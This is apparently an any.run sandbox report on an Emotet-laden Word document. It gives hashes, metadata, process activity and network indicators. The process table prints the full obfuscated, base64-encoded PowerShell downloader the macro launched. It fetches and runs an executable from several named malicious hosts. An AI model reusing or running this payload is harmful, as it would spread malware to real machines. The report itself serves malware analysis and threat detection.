File name: | Non confirmé 563132.crdownload |
Full analysis: | https://app.any.run/tasks/f56668d1-dfd6-4ae3-95e9-64fab9499720 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | September 30, 2020, 08:28:03 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Est., Author: Noa Dumas, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 23 18:49:00 2020, Last Saved Time/Date: Wed Sep 23 18:49:00 2020, Number of Pages: 1, Number of Words: 2069, Number of Characters: 11799, Security: 0 |
MD5: | DF56879B94BC38616B1C4BDE9B456192 |
SHA1: | 879FBADDE36D4483C16CD2CB58D6D402B0A2E16A |
SHA256: | B2A1A0339C25438A91ED0E4792CFD138A55644E98C37330B33905979AF54DCD7 |
SSDEEP: | 1536:HB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ55+a9WxPxLF/9qNW7jW:H22TWTogk079THcpOu5UZkx9F/94W7jW |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
LocaleIndicator: | 1033 |
CodePage: | Unicode UTF-16, little endian |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 15 |
CharCountWithSpaces: | 13841 |
Paragraphs: | 27 |
Lines: | 98 |
Company: | - |
Security: | None |
Characters: | 11799 |
Words: | 2069 |
Pages: | 1 |
ModifyDate: | 2020:09:23 17:49:00 |
CreateDate: | 2020:09:23 17:49:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | Noa Dumas |
Subject: | - |
Title: | Est. |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2680 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Non confirmé 563132.crdownload.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3180 | POWeRsHeLL -ENCOD JABTADcANgAwAG0AYQBjAD0AKAAnAFUAJwArACcAYQAnACsAKAAnAGEAcwAnACsAJwA5ADgAeAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAHIATwBGAGkATABFAFwAbQBNADMARQAzAG0ASgBcAEcAdgBuADMAUgA5AGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAHUAcgBgAEkAVABgAFkAUAByAG8AVABgAG8AYwBvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIAJwApACsAKAAnACwAIAB0AGwAJwArACcAcwAxACcAKQArACcAMQAnACsAJwAsACcAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAVABlAHcAcwBnAGUANgAgAD0AIAAoACcARgByACcAKwAoACcAZQBfAGkAMQAnACsAJwBjACcAKQArACcAaABtACcAKQA7ACQAWQBlAHoAaAB5ADQANQA9ACgAJwBVAGwAJwArACgAJwBrADcAeAAnACsAJwByAGsAJwApACkAOwAkAE8AdwA5AGgAegBjAF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ATQBtADMAZQAzACcAKwAnAG0AagB7ADAAJwArACcAfQBHAHYAbgAnACsAJwAzACcAKwAnAHIAOQAnACsAJwBsAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFQAZQB3AHMAZwBlADYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABKADMAbQAzAHQAbgA5AD0AKAAoACcATwAnACsAJwBhADQAbABoACcAKQArACcAXwAnACsAJwA0ACcAKQA7ACQATAB1ADEAbwB2AGsAaAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQASgAzAGYAMgB3AHQAcAA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGkAbgAnACkAKwAnAGYAJwArACgAJwBsACcAKwAnAGkAeABvAG4AJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGEAZAAnACsAJwBtAGkAbgAvADQAJwArACcANwAnACkAKwAoACcAMgAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnAGIAYgBhAGwAJwArACcAbABiAHIAZQAnACkAKwAoACcAYQBrAC4AYwAnACsAJwBvAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AaQBuACcAKQArACgAJwAvAE8AJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvAGUAJwApACsAKAAnAHQAaQAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGcAJwArACcAbwBuACcAKQArACcAZwAuACcAKwAoACcAYwAnACsAJwBvAG0AJwArACcALwBoADUALwAnACkAKwAoACcARwB4AG0AJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGIAJwArACcAYgBuACcAKQArACgAJwBpACcAKwAnAHUALgAnACkAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAaQBkAGUAYQAnACkAKwAnAGwAJwArACgAJwBuAG8AJwArACcAdAAnACkAKwAnAGkAJwArACgAJwBmAHkALwB5AC8AJwArACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwByACcAKwAnAGEAcwAnACsAKAAnAGgAYgAnACsAJwBvACcAKQArACcAeAAnACsAKAAnAGMAaABhAHIAJwArACcAbAAnACkAKwAnAG8AdAAnACsAKAAnAHQAZQAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdwAnACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACcALwAnACsAKAAnADgAJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACcALwB0ACcAKwAnAHIAJwArACgAJwBlACcAKwAnAG4AZAAnACkAKwAoACcAeQBoAG8AJwArACcAbQAnACkAKwAoACcAZQAuACcAKwAnAGwAJwApACsAJwB0AGQAJwArACgAJwAvAGkAbQAnACsAJwBnADQAJwArACcAcQByACcAKQArACcAZwAnACsAKAAnAC8AYwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAnACsAJwAwADQALgAnACkAKwAnADEAOQAnACsAKAAnADYAJwArACcALgAxACcAKQArACgAJwAxADMAJwArACcALgAnACkAKwAoACcANAA3AC8AJwArACcAdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACgAJwBtAGkAJwArACcAbgAvAEQALwAnACkAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRADYAYwA5AHcAdgBtAD0AKAAoACcAUgAnACsAJwAzAGQAbQB4ACcAKQArACcAbQA1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAYwBxAHcAbQBhADYAIABpAG4AIAAkAEoAMwBmADIAdwB0AHAAKQB7AHQAcgB5AHsAJABMAHUAMQBvAHYAawBoAC4AIgBEAG8AVwBOAGAATABgAG8AQQBkAEYAYABpAGwAZQAiACgAJABCAGMAcQB3AG0AYQA2ACwAIAAkAE8AdwA5AGgAegBjAF8AKQA7ACQAUwA0AG4AbAA3AHYAMAA9ACgAKAAnAEUAagAnACsAJwB5ACcAKQArACgAJwB5AF8AJwArACcAcwAnACkAKwAnADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE8AdwA5AGgAegBjAF8AKQAuACIAbABlAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADMANgA2ADEAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABPAHcAOQBoAHoAYwBfACkAOwAkAFEAagA0AG8AbQA1ADMAPQAoACcAQwAnACsAJwBjADMAJwArACgAJwBqACcAKwAnAHcANQBpACcAKQApADsAYgByAGUAYQBrADsAJABEAHcAcAB3AHMANABiAD0AKAAnAE4AJwArACgAJwAzAG4AJwArACcAOQB6AGoAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAA1AGEAYwBhAGsAbgA9ACgAKAAnAFAANwAnACsAJwAzAHMAJwApACsAKAAnAGgAJwArACcAbQB1ACcAKQApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2680 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR75D6.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3180 | POWeRsHeLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4BJ7DW5QAL6XELD9ITX7.temp | — | |
MD5:— | SHA256:— | |||
3180 | POWeRsHeLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
3180 | POWeRsHeLL.exe | C:\Users\admin\Mm3e3mj\Gvn3r9l\Fre_i1chm.exe | html | |
MD5:E2B23C4078BE47BF1E7C8F40EF0B35CD | SHA256:13A3DF2800B3DA0187ED1A44D9EDC23E2CDBBDC809815B0B8E077B12BF34C8B7 | |||
2680 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:8F90F95B0914A4EB21A839B07E5CD2B9 | SHA256:AB3DB184A6F73588E7FD615055AB84A7DA3BA7E1C050A3B371A1D38AF802291C | |||
2680 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C103C4F7B915EB912E21F4A51892742E | SHA256:44593871731918806C1C99874520998796492493A151DAD0D03A1287824E7578 | |||
2680 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$n confirmé 563132.crdownload.doc | pgc | |
MD5:2E19DB7FE527D8522CB784468A601E4F | SHA256:9A288A751507272DD04072CD9471A8EC9E21F902DC5A1B6D0353E2D2A5E2E44A | |||
3180 | POWeRsHeLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF228102.TMP | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3180 | POWeRsHeLL.exe | GET | 200 | 95.111.254.124:80 | http://inflixon.com/wp-admin/472/ | UA | html | 25.9 Kb | suspicious |
3180 | POWeRsHeLL.exe | GET | 403 | 185.104.29.16:80 | http://bballbreak.com/wp-admin/O/ | NL | text | 438 b | suspicious |
3180 | POWeRsHeLL.exe | GET | 404 | 180.76.12.17:80 | http://etiangong.com/h5/Gxm/ | CN | html | 146 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3180 | POWeRsHeLL.exe | 95.111.254.124:80 | inflixon.com | Intertelecom Ltd | UA | suspicious |
3180 | POWeRsHeLL.exe | 180.76.12.17:80 | etiangong.com | Beijing Baidu Netcom Science and Technology Co., Ltd. | CN | malicious |
3180 | POWeRsHeLL.exe | 185.104.29.16:80 | bballbreak.com | Stichting DIGI NL | NL | suspicious |
3180 | POWeRsHeLL.exe | 47.75.212.100:443 | lbbniu.com | — | US | unknown |
Domain | IP | Reputation |
---|---|---|
inflixon.com |
| suspicious |
bballbreak.com |
| suspicious |
etiangong.com |
| unknown |
lbbniu.com |
| unknown |